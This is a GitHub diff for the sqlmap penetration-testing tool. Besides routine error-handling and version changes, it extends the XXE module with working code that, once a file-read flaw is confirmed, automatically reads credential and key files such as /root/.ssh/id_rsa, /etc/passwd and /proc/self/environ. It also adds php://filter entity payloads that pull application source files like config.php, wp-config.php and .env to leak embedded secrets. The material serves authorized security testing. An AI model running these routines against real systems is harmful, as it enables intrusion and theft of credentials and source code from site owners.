Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions data/txt/sha256sums.txt
Original file line number Diff line number Diff line change
Expand Up @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py
ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py
00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py
19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
Expand All @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
Expand Down Expand Up @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
Expand Down
4 changes: 3 additions & 1 deletion lib/controller/checks.py
Original file line number Diff line number Diff line change
Expand Up @@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input or, rarely, with interpreter-level
# errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None

if ratio is None:
Expand Down
20 changes: 16 additions & 4 deletions lib/core/common.py
Original file line number Diff line number Diff line change
Expand Up @@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "

if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
try:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input / interpreter-level hiccups; skip
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
commonWords = None
else:
commonWords = None

Expand Down Expand Up @@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)

blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
try:
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can blow up on pathological/oversized input (and, rarely, with
# interpreter-level errors under heavy threading); a failed dynamic-content
# search must degrade gracefully rather than abort the whole scan - mirrors the
# guard around the ratio computation in lib/request/comparison.py
return

if not merge:
kb.dynamicMarkings = []
Expand Down
29 changes: 22 additions & 7 deletions lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.29"
VERSION = "1.10.7.30"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down Expand Up @@ -1123,12 +1123,13 @@

# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
# secrets, key material, common application drop paths) - the XXE analogue of the
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
Expand All @@ -1142,11 +1143,25 @@
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"/flag",
"/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)

# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
"index.php", "config.php", "config.inc.php", "secret.php",
"db.php", "database.php", "settings.php", "init.php", "functions.php",
"app.py", "server.py", "main.py", "wp-config.php", ".env",
)

# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
Expand Down
77 changes: 76 additions & 1 deletion lib/techniques/xxe/inject.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,8 @@
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import XXE_SOURCE_NAMES
from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
Expand Down Expand Up @@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
return harvested


def _phpFilterWorks(xml, rootName):
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
requests for it."""

from lib.core.convert import decodeBase64

m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
if match and match.group(1).strip():
try:
return bool(getText(decodeBase64(match.group(1).strip())).strip())
except Exception:
pass
return False


def _harvestSource(xml, rootName, harvested):
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
server-side application SOURCE code via php://filter (source is executed, never
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
(running script + working dir) combined with common web roots/source names, and
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
target. Returns a list of (path, content, payload)."""

if not _phpFilterWorks(xml, rootName):
return []

byPath = dict((p, c) for p, c, _ in harvested)
seen = set(getUnicode(c).strip() for c in byPath.values())
candidates = []

dirs = []
environ = getUnicode(byPath.get("/proc/self/environ", ""))
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
cwd = match.group(1).strip() if match else None
if cwd:
dirs.append(cwd)
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]

cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
for token in re.split(r"[\x00\s]+", cmdline):
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
if token.startswith("/"):
candidates.append(token) # absolute script path
elif cwd:
candidates.append("%s/%s" % (cwd.rstrip("/"), token))

for directory in dirs:
for name in XXE_SOURCE_NAMES:
candidates.append("%s/%s" % (directory.rstrip("/"), name))

logger.info("attempting application source-code disclosure via php://filter")

result = []
read = set()
for path in candidates:
if path in read:
continue
read.add(path)
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip() and getUnicode(content).strip() not in seen:
seen.add(getUnicode(content).strip())
result.append((path, content, payload))
return result


def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
Expand Down Expand Up @@ -716,7 +789,9 @@ def xxeScan():
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
Expand Down